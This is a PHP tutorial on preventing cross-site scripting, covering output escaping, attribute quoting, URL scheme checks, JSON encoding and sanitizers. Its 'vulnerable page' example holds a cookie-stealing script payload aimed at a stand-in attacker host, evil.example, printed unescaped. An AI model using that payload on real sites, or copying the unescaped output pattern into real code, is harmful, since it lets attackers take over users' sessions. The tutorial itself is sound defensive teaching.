Cross-site scripting (XSS) happens when a site prints untrusted text into a page without escaping it. A browser cannot tell the difference between your HTML and the attacker’s text, so it runs the attacker’s script as if it came from your site.
A vulnerable page
<?php
$comment = '<script>fetch("https://evil.example/steal?c=" + document.cookie)</script>'; // posted by an attacker earlier
// DANGEROUS: printed as-is
echo "<p>" . $comment . "</p>";
<p><script>fetch("https://evil.example/steal?c=" + document.cookie)</script></p>
Every visitor who opens this page runs that script in their browser, with their logged-in session. The script can read what the page shows, send requests as the user, or change the page to ask for a password.
Three kinds
| Type | How it gets in |
|---|---|
| Stored | The attacker saves it (a comment, a profile name), and every visitor loads it |
| Reflected | It is in the URL or form and is echoed straight back (?q=<script>...) |
| DOM-based | JavaScript on the page writes untrusted text with innerHTML |
The fix: escape on output
<?php
$comment = '<script>alert("hacked")</script>';
echo "<p>" . htmlspecialchars($comment, ENT_QUOTES, "UTF-8") . "</p>";
<p><script>alert("hacked")</script></p>
The browser now shows the text as plain characters. Nothing runs.
A helper you use everywhere
<?php
function h(?string $text): string
{
return htmlspecialchars($text ?? "", ENT_QUOTES | ENT_SUBSTITUTE, "UTF-8");
}
echo h('Tom & "Jerry" <b>') . "\n";
echo h(null) . "|";
Tom & "Jerry" <b>
|
ENT_QUOTESescapes both"and', which matters inside attributes.ENT_SUBSTITUTEreplaces invalid UTF-8 instead of returning an empty string.- Always give the character set (
"UTF-8").
Attributes must be quoted
<?php
$name = '" onfocus="alert(1)" autofocus="';
echo '<input value="' . htmlspecialchars($name, ENT_QUOTES, "UTF-8") . '">';
<input value="" onfocus="alert(1)" autofocus="">
Without escaping, the attacker would close the attribute and add their own. Always put attribute values in quotes, and escape them.
URLs
htmlspecialchars() does not make a URL safe. A link such as javascript:alert(1) is a valid string. Allow only http and https.
<?php
function safeUrl(string $url): string
{
$scheme = parse_url($url, PHP_URL_SCHEME);
return in_array($scheme, ["http", "https"], true) ? $url : "#";
}
echo safeUrl("https://example.com/page") . "\n";
echo safeUrl("javascript:alert(1)");
https://example.com/page
#
Data inside JavaScript
Do not echo values into a <script> with echo. Use json_encode with flags that escape HTML characters.
<?php
$name = '</script><script>alert(1)</script>';
echo "<script>const user = " . json_encode($name, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ";</script>";
<script>const user = "\u003C\/script\u003E\u003Cscript\u003Ealert(1)\u003C\/script\u003E";</script>
Allowing some HTML
If users must be able to write formatted text (a rich text comment), do not try strip_tags() or your own filter. Use a maintained HTML sanitizer library (HTMLPurifier or similar) with an allow-list of tags. Or let users write Markdown and convert it with a safe configuration (see A Practical Composer Example).
Extra layers
- Content Security Policy (CSP) header limits where scripts may come from. See Security Headers.
- HttpOnly cookies stop scripts from reading the session cookie.
- Template engines such as Twig and Blade escape by default.
The rule
Escape every dynamic value at the moment you print it, for the place you print it. That includes data from the database, from $_GET, $_POST, $_COOKIE, $_SERVER["HTTP_*"], files and APIs. If you wrote it yourself last year and stored it, it is still untrusted.
Exercise: fix the page
This code prints a search term. Make it safe: echo "<h1>Results for " . $_GET["q"] . "</h1>";
Show the answer
<?php
echo "<h1>Results for " . htmlspecialchars($_GET["q"] ?? "", ENT_QUOTES, "UTF-8") . "</h1>";
Without escaping, the URL ?q=<script>...</script> would run a script in the visitor’s browser.